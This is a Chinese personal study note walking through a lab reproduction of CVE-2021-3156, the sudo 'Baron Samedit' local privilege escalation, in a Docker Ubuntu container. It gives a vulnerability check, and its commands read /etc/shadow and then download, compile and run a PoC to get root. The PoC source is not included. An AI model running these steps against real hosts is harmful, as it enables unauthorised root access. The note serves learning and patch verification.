以下为个人学习笔记和学习整理

# Linux sudo 权限提升漏洞复现(CVE-2021-3156)

# 【原理】

2021 年 01 月 27 日,RedHat 官方发布了 sudo 缓冲区 / 栈溢出漏洞的风险通告,普通用户可以通过利用此漏洞,而无需进行身份验证,成功获取 root 权限。
当 sudo 通过 - s 或 - i 命令行选项在 shell 模式下运行命令时。它将在命令参数中使用反斜杠转义特殊字符。但使用 - s 或 - i 标志运行 sudoedit 时。实际上并未进行转义,从而可能导致缓冲区溢出。只要存在 sudoers 文件 (通常是 /etc/sudoers。攻击者就可以使用本地普通用户利用 sudo 获得系统 root 权限。

# 【工具】

  • poc

# 【环境搭建】

docker 搜索 ubuntu 镜像: docker search ubuntu:20.04

然后拉取这个看起来很厉害的镜像 (Full Deskdop!):
docker pull manishfoodtechs/xfcefulldesktop_ubuntu20.4

# [检测方法]:

以非 root 用户登录系统,并运行如下命令:

sudoedit -s /

  • 如果响应一个以 sudoedit: 开头的报错,那么表明存在漏洞。

  • 如果响应一个以 usage: 开头的报错,那么表明补丁已经生效。

# 【漏洞复现】

我们直接运行容器就行,进入容器的命令行
docker run -it manishfoodtechs/xfcefulldesktop_ubuntu20.4 /bin/bash

此时,我们创建一个普通的用户 test ,切换到普通的用户

useradd test
passwd  test
su  test
cd /tmp
id
whoami
cat  /etc/shadow

本地开一个 pyweb,把 poc 用 wget 下载到这个容器里:

python3 -m http.server 8000

wget http://192.168.11.1/CVE-2021-3156_nss_poc_ubuntu.tar.gz

然后解压 poc,切换到目录下 make 编译 poc:

tar -zxvf CVE-2021-3156_nss_poc_ubuntu.tar.gz
cd CVE-2021-3156
make

接下来直接执行 POC,漏洞利用成功,到此为止